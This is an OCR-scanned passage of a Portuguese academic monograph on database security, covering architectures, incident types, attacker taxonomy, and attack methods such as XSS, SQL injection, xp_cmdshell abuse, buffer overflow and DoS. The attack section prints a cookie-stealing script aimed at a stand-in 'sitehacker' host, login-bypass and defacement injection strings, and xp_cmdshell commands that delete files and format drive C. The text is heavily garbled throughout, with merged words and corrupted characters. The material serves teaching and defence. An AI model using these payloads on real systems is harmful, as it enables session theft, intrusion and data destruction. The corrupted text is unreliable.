UNIEC SALDO A REQUISITAR].SUP_RESP)=[Formulérios]! [CONTROLE MATERIAIS_DCA)]! [Combinag3o10]) AND (([SALDO ATUAL] <[MINIMO])=-1}) CR
({([CONSULTA UNIAD SALDO A REQUISITAR].REQUISITAR)>0) AND {{[CONSULTA UNIAD SALDO A REQUISITAR].TIPO)=2) AND ({[CONSULTA UNIAQ
iSALDO A REQUISITAR].SUP_RESP)=[Formularios]! [CONTROLE MATERIAIS_DCA]! [Combinacgo 10]) AND (([SALDO ATUAL] < [MINIMQ])=-1));

Figura 7 - Sentenca SQL complexa

3.5 Estruturas cliente-servidor (desktop)

S&o estruturas de aplicativos onde ha uma diviso atribuicbes das
funcdes, tendo como estrutura basica a separacéled&es e servidores, hd um aplicativo
residente na estacdo do cliente, que acessa os dat@azenados nos bancos de dados, as
vantagens desta arquitetura sdo inumeras, e visasp@nibilidade dos dados (WIKIPEDIA,

2008).
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SGBD

VS

Figura 8 - Arquitetura Cliente-Servidor

A evolucdo do modelo cliente x servidor, sera o emd\’ camadas, onde
caracterizaremos o0 modelo em trés camadas, oretgagla a camada de negdcios do lado do
cliente, dividindo a aplicagcdo em partes como geee

. 12 camada - Camada de apresentacdo: E a chamadi@@ighical
User Interface)ou simplesmente interface. O objetivo dessa candada
interacdo com o usuario, onde séo feitas as regessie consultas.

. 22 camada - Camada de negdcios, Légica de negdRergas de
negdcio ou Funcionalidade. E nessa camada que fsaftncdes e regras
de todo o aplicativo.

. 32 camada - Camada de dados: E definida como aitépo dos
dados. Esta camada recebe as requisicdes da camausgocios e seus

métodos executam essas requisicdes em um baneude. d
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A vantagem dessa arquitetura esta na facilidadefeleiar alteracées no
aplicativo, sem afetar sua disponibilidade, qugeretada na 22 camada, numa arquitetura em
duas camadas, uma alteracdo na légica dos negpombs implicar na reinstalacdo da
aplicacdo, podendo gerar gastos com suporte eporllslidade das informacbes, assim

como a possibilidade da existéncia de aplicatiesatlializados na planta

Servidor de Aplicagao

Figura 9 - Aplicacdo em trés camadas
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3.6 Integracdes entre Sistemas

Sistemas legados séo aplicativos existentes naniaegdio, que devido a
diversos motivos ndo acompanharam os avancos égoos, mas continuam uteis (PRADO,
2007). O desafio da seguranca nesse caso € ategeag@o com novas tecnologias, sem que

novas brechas de seguranca sejam criadas na aperaca

3.7 Sistemas Web

As aplicacdes que mais cresceram nos ultimos amsas aplicacdes via
Web, que sdo evolugdes naturais das paginas wahcast existentes. O funcionamento
basico de uma pagina web estatica se baseia emervidas web, que disponibiliza na
internet o contetdo elaborado por um profissiomaiumente chamado deiebdesign” ou

simplesmente programador web.

Servidor Web

Cliente

Figura 10 - Estrutura Web simples (Estatico)
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Aplicacbes web atuais sdo ativas, executam opesagds servidores de
bancos de dados, podemos ler e-mails, executarresmpansacdes bancéarias e inimeras
aplicacdes disponiveis. O funcionamento € analagsisiema web estatico, com a inclusédo
de uma camada de dados no final do processo, glantentacdo de uma linguagem de
programacao intercalada ao codigo da pagina wedsada.

As paginas web sdo acessadas pela internet a g@artim servidor web, os
servidores mais utilizados na atualidade séo o Wgade codigo aberto, conhecido pela
estabilidade e confiabilidade, nativo do sistemauki A Microsoft disponibiliza o servidor
IIS —Internet Information Servigeistema pago, nativo dos servidores Windows,fasteso

pelas falhas de seguranca constantemente reportadas

Cliente Servidor Web Banco de Dados

Figura 11 - Sistema Web ativo

No servidor web, esta armazenado o cddigo das gmgiisponibilizadas, no
seu contexto mais basico a linguagem utilizadaHT'®IL — Hipertext Markup Language
uma linguagem de marcagdo, que € interpretada pelesgadores clientes, os codigos
HTML apresentam somente paginas estaticas.

Mas as necessidades de uma utilizagdo mais eficidas paginas web
forcaram a evolucdo para a apresentacdo de pagimasconteldos ativos, baseados em

bancos de dados. Nesse momento surgiram as lingaidoeerpretadas”, os servidores se
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tornaram capazes de interpretar scripts de prog@maxecutando acdes diversas, podendo
inclusive efetuar todas as operacbes nos bancosdades, antes disponiveis apenas aos
aplicativosdesktop

Existem atualmente diversas linguagens de progr@ma@ara WEB, a
Microsoft popularizou a linguagem ASP -Active Server Paggs que permite ao
programador intercalar scripts construidos em VB®Soau Javascript. Ja a iniciativa Linux
disponibiliza a plataforma PHP PHP: Hypertext Preprocessgrde codigo aberto, muito
poderosa e de facil aprendizado (PHP.NET, 2008).

Podemos notar que houve uma rapida ampliacdo dasgode acesso a
dados, com a inclusédo de diversas tecnologiasnpreeacompanhadas das facilidades, temos
mais possibilites de falhas entre esses sistermagraPadores deveriam ter como regra a
revisdo das praticas de desenvolvimento seguro @most os niveis, inclusive uma
metodologia que preveja as falhas de seguranceeniee a novas tecnologias implantadas.
Mas o que normalmente ocorre quando uma nova tegiacé agregada a preocupacdo com a

seguranca e deixada para uma segunda etapa.
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CAPITULO 4 — INCIDENTES EM BANCOS DE DADOS

Varias situacdes adversas podem ocorrer em bamcasdbs, sempre que
um dos aspectos da seguranca da informacao é doetlissemos que houve uma falha de
seguranca, essas falhas podem causar ou ndo perdéodnacdes, estudaremos a seguir

algumas situagdes em que falhas de seguranca gdohgin um banco de dados.

4.1 Desastres

Desastres podem ser caracterizados como evensgddarrdem natural, que
ocasionam a alteracdo do estado atual dos sisteomale podemos citar incéndios,
vandalismo, fenbmenos naturais como alagamentosntetos, furacdes. Essas ocorréncias,
por mais improvaveis que sejam, devem estar pesvisin um Plano de Recuperacdo de
Desastres, que delimitard as atitudes a serem &mm&d casos extremos que impliguem na

disponibilidade das informacoes.
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4.2 Danos Fisicos (hardware)

A causa mais comum de perda de dados se encontranmeda fisica dos
sistemas, defeitos em hardware, como discos rigidaessiveis por problemas nos motores
ou placas logicas, uma politica correta e eficiatgdackupspode minimizar o problema,
diminuindo o tempo de indisponibilidade da infori&ag

Uma maneira mais confidvel de manter a integridé&iea dos discos sao
arranjos redundantes de discos, conhecidos conamj@sr RAID Redundant Array of
Independent Dishs Sua definicho em portugués seria "Matriz Redotedade Discos
Independentes” em que a informacdo é dividida enowaiscos distintos, um servidor
funcionando em RAID-5, possui em sua distribuigéea discos rigidos redundantes, mesmo
que um destes pode falhar, a informagéo sera reaades devido as informacdes de paridade
gravadas no arranjo (ALECRIM, 2004).

Deve fazer parte do plano de recuperacdo de desasstes dos sistemas de
redundancia eackups para que problemas nas rotinas de recuperacasejgin descobertas
somente no momento de sua utilizacdo, podendo rcausa interrupcao se servico causada

pela falsa seguranca oferecida pelo sistema.

4.3 Indisponibilidade

Mesmo que ndo ocorram danos fisicos aos servidestes podem ficar

indisponiveis devido a problemas internos, combaflem equipamentos de redesil{s
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Switches cabeamento estruturado) e externos, como a mlipdade das redes de dados
das concessionarias publicas de telecomunicacoes.

Para minimizar a indisponibilidade uma solucéo psb@ € a replicacado dos
servidores, instalando dois ou mais conjuntos dépamentos dispostos em ambientes
isolados, os dados sao replicados a cada transag@oindisponibilidade de um deles, os
outros servidores assumem a atividade até que blepna seja solucionado, tudo isso
transparentemente aos usuarios. Esta solucdo eetmivbém um problema inerente dos
grandes bancos de dados, que é a concorrénciaedgsoacsimultaneos, aproveitando-se do
balanceamento de carga que € apresentada pooksi@os

A redundancia das redes de dados deve ser prewisidividades criticas, as
solucbes de dados adotadas pelas operadoras cantatgcacdes prevéem redundancias de
acessos. Redes de fibras 6pticas adotam normalmeluiga abordagem, onde dois cabos sdo
instalados, utilizando-se de trajetos distintosedgresa até a operadora, esta configuracao
conhecida como “Anel Optico” é tolerante a fallmsje sempre havera duas algas de acesso
alimentando os sistemas, na falha de uma al¢catens é comutado para a alga intacta, até
gue a equipe técnica repare a rede afetada.

Em sistemas criticos apenas o Anel Optico ndo bpata garantir a
disponibilidade da informacdo, neste caso é utiiza redundancia de operadoras de
telecomunicacgdes, onde € montada uma rede de supodendo ou ndo ser em Anel, em que
uma nova rede € sobreposta a principal, oferecendis uma camada de seguranca a
disponibilidade, no caso de uma falha que afeta todede da operadora principal, havera
como disponibilizar acessos na rede secundarigugtéeja restabelecido o sistema, esta rede
€ conhecida no meio como reolckup

Existe também, a exemplo de muitas organizac6es ancbnectividade é

vital a continuidade dos negdcios, sistemas deamisdtica de alta disponibilidade dispondo
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de sistemas em “Anel Optico”, de duas ou mais @juees, com rede backup via radio ou
satélite, esta solucdo leva em conta a localizdighca da empresa, a potencialidade de
vandalismo na rede Optica, o tempo médio de reparccaso de pane e demais aspectos
caracteristicos da organizacao.

A redundancia de operadoras de telecomunicacdeBpranpareca uma
solucéo radical e onerosa para empresas com pequgrento, teve sua prova no dia 03 de
julho de 2008, onde o servico de internet da omeeade telecomunicacdd®lefbnica por
problemas em um roteador da prestadora, deixou @&@8ousuariosem acesso a internet
(GUIMARAES, 2008) durante 36 horas (LOBATO,2008kntte os usuarios, diversas
empresas e 0rgaos publicos que dependiam da vedant suas atividades paralisadas, neste
caso, mesmo quem possuia rede redundante (Anetopia operadora teve sua atividade

comprometida.

4.4 Falhas humanas ndo intencionais

Algumas situacfes usuarios desatentos executanddsngos bancos de
dados e percebem que cometeram enganos, 0s sisteraassso aos bancos deve minimizar
a possibilidade que erros acontecam, com a vegdcaconstante das acdes mais criticas,
como exclusado de registros, a pratica de avisgeoador que uma acao nao podera mais ser
desfeita e a0 mesmo tempo mostrar os dados quedseiados auxilia nessa funcao.

Erros de usuarios comuns normalmente geram danoguepes,
particularmente restritos um ou poucos registros politica de backup de transacoésgs

de eventos possibilita a recuperacao de regissmscéicos, quando realmente necessarios.
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Erros cometidos por programadores ou Administraaldeebancos de dados
podem corromper a base de dados por completo,sfalblis na construcdo de consultas,
atualizacoes sistémicas de dados, modificacdobé¢ataou falhas de abstracdo dos requisitos
dos sistemas sdo comuns e podem comprometer tsthbema. Implementacdes desse tipo
nunca devem ser executadas no ambiente de produg@o.estrutura de testes deve ser
utilizada obrigatoriamente, utilizando copias distesnas e bancos de dados, e sempre que
possivel em redes diferentes, isoladas e equipas&@nticos ao ambiente produtivo.

Consideramos também o aspecto da negligencia desaiguarios na guarda
e posse de suas chaves de acesso, a pratica deagédi de senhas fortes aliadas a uma
rotatividade constante, uma politica de consciagéia e treinamento dos usuarios na correta
utilizacdo dos recursos dos sistemas de segurasdgEmpminimizar essgsroblemas, mas
sempre estaremos envolvidos com usuarios que esguecminais abertos ou fornecem suas
senhas a outros, podemos evitar essa situacamdargafinal das se¢cbes apos alguns minutos
de inatividade e a impossibilidade de utilizagdomEsma chave de acesso em mais de um

terminal.

4.5 Invasodes

Consideramos como uma invasdo todo acesso nddzadira um recurso
da organizacéo, seja ele redes, estacdes, apbsaiddigos fonte, servidores, bancos de
dados, corrupcéo de funcionarios. Existem infinitasas de invaséo, desde a mais simples,
utilizando-se da ingenuidade ou desatencéo deiasuaté ataques elaborados, aproveitando-

se de falhas de aplicativos, por intermédio denargcao elaborada.
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Mas de qualquer forma que a invasao for executaslalanos podem ser
irreparaveis, o atacante pode corromper todos psctss de seguranca que apresentamos

anteriormente, como se segue.

. Confidencialidade — Um atacante pode divulgar deiggosos de
uma organizacao, expor publicamente informacdefdamtiais, podendo
utilizar-se dessas para proveito préprio.

* Integridade — Um ataque a integridade das inforesgdnde dados sé&o
alterados ou destruidos em todo eu em parte.

. Disponibilidade — Quando um atacante consegue rtanmasistema
indisponivel, total ou parcialmente, atacando siie4estrutura fisica ou
l6gica.

. Autenticidade — Se alguns dados sdo manipuladosccantuito de
gerar falsas saidas de informacdes, nesse cagenestadiante de um
atague que pode gerar consequéncias desagraddeep de dificil
deteccao e correcao.

. N&o repudio — Uma informacéo armazenada em unmsastgie fora
invadido, em que ndo ha a garantia da autenticidadalados dependendo
da situacdo, pode perder seu valor legal, cabendmndestacdo da

informagéo apresentada.
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4.6 Hachers, Crackers e suas variacdes

Sempre que ocorre um incidente de seguranca, emhguimvasdo de
sistemas, € comum deparamos com diversas explgagiee a ocorréncia. Normalmente é
divulgado que houve um “ataque hacker” aos sister@agermo “hacker” € utilizado
incorretamente quando se tratar de um invasor,rumnoso digital, o correto seria dizer que
houve unf'ataque cracker”ao sistema.

Existe uma hierarquia auto-imposta a quem se argemts conhecimentos
de tecnologia de informacgao, normalmente aglutisado “clas” ou grupos de estudos, e ndo
raramente agindo sozinhos, essas pessoas podeaiorhire seus esforcos nos estudos
complexos de arquiteturas de sistemas e seguranigdodmacao, ou especializar-se no que
podemos chamar de “lado negro da forca”, utilizas€os conhecimentos para a préatica de
delitos digitaiULBRICH e DELLA VALLE, 2002)

Percorrendo a evolucdo dos profissionais digitassjemos diferencia-los
nos seguintes titulos:

. Newbie— O iniciante ou calouro, ainda ndo possui o coinmento
profundo em informatica, mas esta disposto a aprenubservando e
estudando a maneira que os sistemas funcionam;

. Luser — S&o usuarios iniciantes (ou nao) em informatoqee se
diferenciam doNewbiespelo fato de ndo terem o minimo interesse em
aprender, buscam solu¢gBes prontas e répidas paifafaseu trabalho,
sem se preocupar como as coisas funcionam, é o gbhatnormalmente

reclama de tudo e acha que todos estéo erradossrakn
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. Lamer — Usuario que aprendeu alguns truques, utilizaedale
programas ou scripts prontos, normalmente buscadosnternet, que
eventualmente causam algum efeito, uma invasaonaualteracdo em um
site, porém este usuario comumente ndo tem o cionéeto profundo de
como a invasdo aconteceu, é facilmente detectad® o toma as
precaucdes necessarias ao efetuar seu ataques.usageios também séo
conhecidos comtscript-kidies”;
. Larval Stage— Ou Spawn periodo em que o usuario decide-se em
realmente aprender as técnicas de programacacshgegsara adentrar ao
mundohacker
. Hacker - Especialista em informatica, podemos aqui imclos
programadores, administradores de sistemas, eBgiciam seguranca.
Esses profissionais possuem conhecimentos e hadekg normalmente
conhecem as técnicas de invasao e defesa de sstgoném possuem um
codigo de ética e ndo utilizam seus dons paradati@s ilegais, esses sao
conhecidos comG@rackers;
. Cracker - E umHacker na sua esséncia,“Blacker do mal” utiliza
seus conhecimentos para atividades ilicitas, camasbes, extorsdes e
vandalismo, fazendo uso de ferramentas diversalenglo ser criadas por
ele ou outrograckers tem a habilidade de escapar sem deixar vestigios,
normalmente ndo segue nenhuma ética. Podemos isefganasCrackers
conforme suas especialidades:

o Pheaker-Crackerde sistemas telefonicos;

o Carder — Cracker especializado em golpes a operadoras de

cartdes de crédito;
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War driver— Especialista em invasao a redes Wireless.

53
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CAPITULO 5 - METODOS DE ATAQUES A BANCOS DE DADOS

Entendamos como ataque a um banco de dados quaitusgéo em que
dados armazenados séo acessados ou divulgadoglardente, tem sua integridade afetada,
sdo apagados ou tem seu acesso logico interrompidainda qualquer situagdo que altere a
condic&o normal de funcionamento do SGBD.

As técnicas de ataque que serdo demonstradas & s&gucomo alvo
principal os sistemas de informagc6es como um toa@oenecessariamente tentam atingir aos
bancos de dados diretamente, mas as consequénuipesafetardo os dados armazenados ou

seu sistema de banco de dados.

5.1 Cross Site Scripting (XXS)

Em um ambiente web, sempre que dados originadas p&lario sao
retornados ao navegador sem uma correta validac@odificacdo, podemos estar diante de
uma falha de€'Cross Site Scripting; essa vulnerabilidade permite a um atacante execut
scripts arbitrarios, normalmente construidos emasaipt, no navegador da vitima,
sequestrando sessdes do usuario, desfigurar wel, sibubar informacdes pessoais
(phishing)

O perigo apresentado pelyoss Site Scriptingos bancos de dados esta na

possibilidade do invasor conseguir inserir codig@diciosos diretamente em um registro de
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uma tabela que da suporte a um web site. Nessalidemta de ataque, conhecido como
“persistente”, o codigo inserido serd executadadods vezes que um visitante acessar a
pagina que hospeda o codigo.

Podemos verificar a existéncia dessa vulnerab#idaglserindo o codigo
Javascript de exibicdo de alertas ao usuario, nd dR pagina, entre os parametros
informados ao servidor, como no exemplo ficticiaizb:

. URL normal do site: www.meusite.com/lista.asp?c@B&par2=azul

. URL modificada, acrescida do cédigo Javascript:

www.meusite.com/lista.asp?cod=E28ript>alert("XXS Vulneravel")</script>

&par2=azul

No exemplo, se uma caixa de mensagem “XXS Vulnér&weapresentada
ao usuario, o site apresenta a vulnerabilidade XXS.

Nesse tipo de ataque, gracas ao poder dos s@qitsmos alterar todos os
aspectos de um site, a modificagcdo do comportamerdontetdo padrao da pagina pode
induzir o usuario a acreditar nas suas solicitacAesxemplo de sites colaborativos (blogs,
foéruns) onde os proprios usuarios sao responsdets conteido, o nao tratamento das
entradas de um usuario mal intencionado pode amameim ataque a todos os demais
visitantes.

No tipo de ataque conhecido como ndo persistentgacante envia uma
URL alterada a uma vitima, substituindo parametiarsnais do site por cédigos arbitrarios,

os links podem ser enviados por e-mails e outroesnde troca de dados, os ataques
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normalmente obtém sucesso, pois 0s usuarios nadelgen a diferenca da URL modificada
com uma real como no exemplo:

e URL Normal: http://www.meusite.com/nome=Maria

Cddigo malicioso:
<SCRIPT>
document.location=" http://sitehacker/cgi-bin/stagi?'+document.cookie

</SCRIPT>

* URL alterada: http://www.meusite.com/nome<SCRIPTctdoent.location="

http://sitehacker/cgi-bin/script.cgi?'+documentkies/SCRIPT>

A URL alterada simplesmente pode ser detectadaalgoim usuario mais

atento, mas caso a URL seja codificada, o atagde ger despercebido.

* URL codificada: http://www.meusite.com/nome=%3&%&3%52%49%
50%54%3e%64%6f%63%75%6d%65%6e%74%2e%6Cc%6%63%6 18F 4%
%61%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%6%h2e
0%69%72%61%74%65%2{%63%67%69%2d%62%69%6€%2{%73%53%7
%69%70%74%2e%63%67%69%3f%5c%27%20%64%61%63% 75%6u065

6e%74%2e%63%61%6%6b%69%65%3c%2{%53%43%52%49%50%864%

O cdbdigo acima envia oookie do usuario como parametro para o site do

atacante
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Com utilizacdo de scripts, 0 atacante pode ale@presentacdo de um site,
controlar a comunicacgao entre site e servidor,esiggndo o envio dos dados dos formuléarios
postados enviando os dados para um site de sewlegrue pode ter um grafismo idéntico

ao site atacado.

5.2 Injecdes de comandos SQL

Falhas de injecdo de comando SQL s&o comuns eoatds WEB, porém
existe a probabilidade de serem executados ematptis para desktops. O que caracteriza
esse ataque € a possibilidade da manipulacdo doandms SQL presentes nos codigos
interpretados nos servidores, que serdo enviadesbancos de dados, o atacante inclui
sentencas SQL que alteram a construcao previsigopajramador da consulta.

A falha consiste na construcéo de consultas SQdnairas, utilizando-se da
concatenacdo de strings fixas com dados informpelosusuério. Sempre que essa pratica for
utilizada e ndo houver um correto tratamento dafoslanformados, a pagina pode estar

vulneravel ao ataque.

5.2.1 Invadindo o sistema

A exemplo de uma consulta SQL que localiza infoldeacde um usuario,

comparando 0s campos login e senha em uma tabatafassim:
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» select users.cod, users.login, users.senha, aserHicacao from users where

users.login="admin' and users.senha='12345";

Em uma pégina web, a pratica comum é a utilizagaum formulario
solicitando a digitacdo dos campos de pesquisapdgua usuario clica em ENTRAR, o
sistema postara os dados digitados, no caso, éoggmha, a uma pagina que criara a consulta

SQL que retornara do banco de dados o resultactidigo dessa pagina € algo assim:

Dim SQL
SQL = “select users.cod, users.login, users.serdeas.identificacao “
SQL = SQL & “from users where users.login="' & vegt.form("LOGIN")) & "

SQL = SQL & “and users.senha="" & request.form("$&N)) & ;"

SISTEMA SGBD

LOGIN: | ADMIN
SENHA: ! —

Figura 12 - Formulario Login e Senha
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Se nessa situacdo o usuario fornecer como Loggmiea os valores ADMIN
e 12345 respectivamente, obteremos por concatermagéatenca original, com a vantagem
de ser dinamicamente construida, proporcionandacifidade necessaria a uma funcao de
login. “O fato de que os desenvolvedores, tantsafevare como de hardware, tendem a se
comportar de maneira ingénua e, consequentemesagura” (SANT'ANNA, 2003)

O que todo programador espera € que O usuario qusaaencontrar com
uma tela solicitando login e senha, digitara vaarempativeis com os dados solicitados, o

que os fazem nas maiorias das vezes, mas se umousizh intencionado, e conhecedor dos

comandos SQL informar os valores como na figuregais:

SISTEMA SGBD

LOGIN: | 'OR1=1-—

SENHA: | —

ENTRAR

Figura 13 - Insercao de codigo malicioso

O valor informadd or 1=1 --, em significa para o SGBD, fim da variavel
("), operador légico OU (or), 1=1 € uma sentenca sempre serd verdadeira, e 0s dois tracos

(--) significam inicio de comentério. A SQL resulta dessa inclusdo de valores ficara assim:

» select users.cod, users.login, users.senha, asarificacao from users

where users.login="" or 1=1 -- ' and users.sehta 1=1 -- ;"

Traduzindo a sentenca para o portugués ficarianasselecione os campos

cod, login, senha e identificacdo da tabela usade togin seja igual a nulo (' ') ou verdadeiro
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(1=1 é uma sentenca sempre verdadeira = TRUE), wadadeiro significa ndo nulo, em
seguida o simbolo “--“ comenta o codigo restarmando-o sem efeito. Como essa sentenca
SQL sera sempre verdadeira, o atacante obteracagessistema utilizando a primeira conta
da tabela users,, que na maioria das vezes € a deradministrador ou desenvolvedor, que

normalmente € o primeiro usuario a utilizar o sise

5.2.2 Alterando caracteristicas de um site

A evolucéo desse ataque consiste em se aprovesamdnsagens de erros
retornados pelo SGBD, que serao utilizadas pelcaata para desvendar detalhes do banco
de dados, em um site vulneravel, a Injecdo de SQle ser utilizada atravées da URL de
acesso, que contém parametros que sao interprefalosscript, para a geracdo das
problematicas SQL dinamicas

Exemplo de URL normal:_http://www.meusite.com/natx65

A manipulacdo da URL com uma clausula SQL de @#ra de dados,
apresenta-se da seguinte maneira:

* http://www.meusite.com/noticia=@%aving 1=1

Carregando-se o0 navegador com a URL, o servidoerpodetornar a

seguinte mensagem de erro:
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Microsoft OLE DB Provider for ODBC Drivers error '8 0040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Colu mn 'Noticias.Cod_Noticia' is
invalid in the select list because it is not contaed in an aggregate function and there is
no GROUP BY clause.

/noticias.asp, line 152

Notamos que a mensagem de erro, esta nos inforntaeda tabela utilizada
pelo sistema € “Noticias”, e o primeiro campo dzeta € “Cod_Noticia”
Continuando o ataque, colocando-se a clausularmpagento utilizando-se

0 campo encontrado, ficara assim:

* http://www.meusite.com/noticia=&Houp by Noticias.Cod Noticia

O erro retornado pelo servidor informa o proximmpa da tabela, no caso,

o0 campo “Tit_Noticia”.

Microsoft OLE DB Provider for ODBC Drivers error '8 0040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Colu mn 'Noticias.Tit_Noticia' is
invalid in the select list because it is not contaed in either an aggregate function or the
GROUP BY clause.

/noticias.asp, line 152

O ataque pode ser executado até a descobertacted®dampos da tabela, e

partindo para a desfiguracédo do site, o atacarderpaalterar os dados da noticia, como no
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exemplo a seguir que altera o titulo da noticiaa @afrase “O site foi crackeado por Evil
Death”.

* http://www.meusite.com/noticia.asp?cod_noticia=Gidate+Noticias+set+Tit

_Noticia=" O site foi crackeado por Evil Death’

5.2.3 Exploragao do comando XP_CMDSHELL

O SQL Server 2000 conta com inamer&dred Procedurésestendidas,
funcdes que executam acdes do sistema operacedd tomo elemento acionador scripts
SQL, no caso a existéncia do procedimento XP_CMDOSHBode ser muito util aos
administradores, porém a falha de seguranca apaeisepode ser explorada por um atacante,
com resultados desastrosos.

O referido procedimento gera uma Shell de comaddog/indows e passa
uma cadeia de caracteres para execuc¢ao, é equévaletilizacdo do comando “executar” do
sistema operacional, sua utilizacdo por meios nigrrdamuito Util, pois se podem criar
diretdrios, arquivos, renomeé-los, e apagé-losreemtras funcdes Gteis, como no exemplo a

seguir, que lista os arquivos ".exe” no diretoério:

EXEC xp_cmdshell 'dir *.exe";
GO
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Quando se utiliza do comando xp_cmdshell em urmuatde SQL Injection,
podemos utilizar de varios comandos, desde cragragiar arquivos do servidor, até mesmo
formatar o disco rigido, como nos comando a seguir.

EXEC master..xp_cmdshell ‘del c:\arquivo.txt’ eletar arquivo

EXEC master..xp_cmdshell ‘format c: /y’ -- formataarticao C

EXEC master..xp_cmdshell ‘net send * Seu bancaébetado!” -- mostra
aviso nas estacoes

EXEC master..xp_cmdshell ‘shutdown -I' — Reiniciaraervidor

Este tipo de ataque é 0 mais perigoso que se pquerar, visto que pode
comprometer todo o sistema em poucos comandosb8eraw de dados compartilharem com
um controlador de dominios, o atacante podera siv@ucriar um usuario e senhas para o

sistema, e acessar todas as func¢des do equipamento

5.3 Buffer Overflow

A palavra inglesaverflow significa “transbordamento” ou “inundacéo”, a
falha conhecida comtBuffer Overflow” tecnicamente consiste em armazenar em um buffer
de tamanho fixo, dados maiores que o seu tamanho.

Quando um programa € executado em um computad@qi@éiscia das
instrucdes que deverdo ser seguidas, endereciddyeaiay constantes estdo armazenados na
memoria, para que ndo ocorram problemas a memddaidida em areas denominadas

“buffers”. Cada“buffer” € dividido em células conhecidas como “enderegosndmaria”,
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cada endereco assume o valor de um loyesflowacontece quando se tenta escrever um bit,
em um endereco de memoaria utilizado por outra méméo, o comportamento normal nessa
situacao é o travamento da aplica¢@oash” ).

Um programa simples segue uma unica linha de efiecugna instrucao
apos a outra, sem desvios, mas a maioria dos pnagratiliza-se de sub-rotinas, que podem
ser executadas varias vezes, quando uma sub-mtineocada o endereco de retorno é
guardado e na concluséo o sistema retorna ao danteemoria que solicitou a funcéo, esses
enderecos de retorno sdo gravados em uma areanti@rimehamada de Pilhssfack”).

“Crackers” costumam se aproveitar dessas falhas quando forgam
aplicativo ao transbordamento do buffer, inserinoio valor maior que o esperado pela
funcao, os bits que excederam ao buffer poderaesotever a pilha e destruir o endereco de
retorno da funcéo. Se o atacante dessa formaratteradereco de retorno para em codigo por
ele injetado (Bxploit”), que execute tarefas arbitrarias, com os prideglo usuario que
executa o programa vulneravel e no seu fim retamenderecgo correto, 0 equipamento ou o

aplicativo ndo trava, e a instrugdo maliciosa k@iceitada sem a percepgao do usudrio.

5.4 Ataque de Negacéo de Servico

Um ataque de Negacao de Servico, também conheaido DOS(Denial of
Service) consiste em tornar um recurso de um sistema podigel aos usuarios. Sao
normalmente direcionados a servidores WEB na idierde tornar as paginas de internet
hospedadas indisponiveis. Os ataques DOS comum&nt&io invasivos e ndo causam perda

de dados.
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Um atague comum utiliza-se de uma caracteristicgrdtocolo TCP/IP,
conhecido comdSYN Flooding”, quando um computador tenta se conectar com o servid
utilizando-se de um sinal TCP conhecido por SY3ynchonize O servidor responde ao
chamado com um sinal chamado ACKcknowlegment se houver mais solicitagcbes que 0
servidor puder responder, o sistema ficara indisfgb@ novas conexdes.

A evolucdo do ataque ocorre quando o atacanteassk de milhares de
computadores simultaneamente para sobrecarregadet@aminada maquina ou rede, varios
sites conhecidos ja fora alvo desse ataque, comd, Qldhoo, Ebay e a propria Microsoft,
essa modalidade é chamada de DDDiSt(ibuted Denial of Servige ALECRIM(2004).

Para o sucesso desse tipo de ataquecraskers necessitam de uma
quantidade imensa de computadores, alvos comunsissd@iedes académicas e de grandes
empresas, a primeira parte do ataque consiste mancimacao dos sistemas com virus que
podem se auto-replicar pela suas redes, em sedoilde, as estacdes contaminadas executam
0 ataque simultaneamente ao alvo escolhido, commimero de usuarios conectados a
servidores web € limitado, o aumento repentino diécitcdes pode sobrecarregar as
conexdes, podendo chegar a travar ou reinicianaides.

Tanto um ataque DOS ou DDOS sé&o de dificil prevenglevido as
caracteristicas ndo invasivas, equipamentos cortertdees de intrusdo (IDS) feewalls
podem auxiliar, mas nao impedir as consequénciagatpe. Um exemplo de reagédo a esse

tipo de ataque € a alteracdo do servidor WEB de@dgp momento do ataque
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CAPITULO 6 — CONFIGURACAO DE UM BANCO DE DADOS

SEGURO

Ao longo desse capitulo exemplificaremos as fordeprotecdo a ataques
comuns que afetam bancos de dados, a propostaesstatilizar técnicas de defesa
implantadas diretamente no SGBD, utilizando de ermamentas nativas, ou atualizagbes de
seguranca propostas pelo fabricante. A atribuigseduranca ao SGBD tem como objetivo a
obtencdo de um sistema de Banco de dados intrmea&ta seguro, em que a aplicacado que
acessa 0 banco podera até falhar, mas ndo afetal@los e o sistema devido aos bloqueios
nativos e praticas aplicadas.

Nesse ponto cabe salientar que a seguranca dewvepementada em todos
0s niveis dos sistemas, a idéia de protecdo natjsega mais confiabilidade e seguranca, e
tem a vantagem do isolamento de possiveis falhaeg@ranca, que devido a metodologia
proposta minimiza a propagacao ao longo do procéspootecao intrinseca previne também
falhas advindas de novas tecnologias agregadasieyeen se adaptar aos padrdes existentes
para seu correto funcionamento.

O SGBD utilizado nos exemplos serd o Microsoft S&drver 2000, que
apesar estar disponivel ha certo tempo no mercada gersédo atual j& se encontrar na 2008,
ainda € muito utilizado nas organizacdes, devidoaarobustez, velocidade e pelo fato de ndo
necessitar de hardware extremamente poderososrastas que justificam sua utilizagao nos
dias atuais. O alto investimento na atualizacaoSteBDs pode acarretar em efeitos indiretos
que envolveriam a substituicdo dos servidoresualiaacdo dos bancos de dados e sistemas

legados, o treinamento dos funcionarios nas nawages agregadas nas novas versdes. Nao
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raramente as atualizacdes de servidores de barcdadds sdo executadas conjuntamente a
modernizacdo dos sistemas, que atribuem novasofueddades disponibilizadas, uma
atualizacao de versdo em um banco de dados podetacaum gasto imediato desnecessario
justificado pela subutilizagdo do novo SGBD, ou mesuma incompatibilidade dos
aplicativos legados.

Devemos considerar durante a instalacdo de umdsersie banco dados os
mesmos cuidados atribuidos aos demais equipamelgosede, acrescido de praticas
especificas a seguranca dos dados armazenadosecAmendacdes aqui apresentadas
contemplam acdes antes, durante e depois da g&ai servidor, que procuram minimizar
as vulnerabilidades fisicas e logicas especificaS@L Server, mas com algumas adaptacoes,
poderéo ser implementados em qualquer SGBD do derca

As recomendacbes apresentadas, salvo quando imfarmafonte, estéo
disponiveis no “Centro de Orientacdes de SeguradgaMicrosoft, fabricante do sistema
apresentado, acessivel através, no documento deadmiProtegendo seu Servidor de Banco

de Dados, publicado em 24 de Maio de 2004.(MICROKSQB04)

6.1 Instalacéo fisica

Antes da instalacdo do SQL Server, o primeiro passexecutar uma
criteriosa analise da localizagéo fisica do seryidonimizando os riscos de ataques diretos
ao sistema, a sala onde ficara instalado o serddwera ser de acesso exclusivo a pessoas

autorizadas, a utilizacado de “racks” com chavepatis/eis apenas aos administradores de
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bancos de dados (DBAs) também pode ser consideaadescentando um item de seguranca
fisica ainda mais especifico.

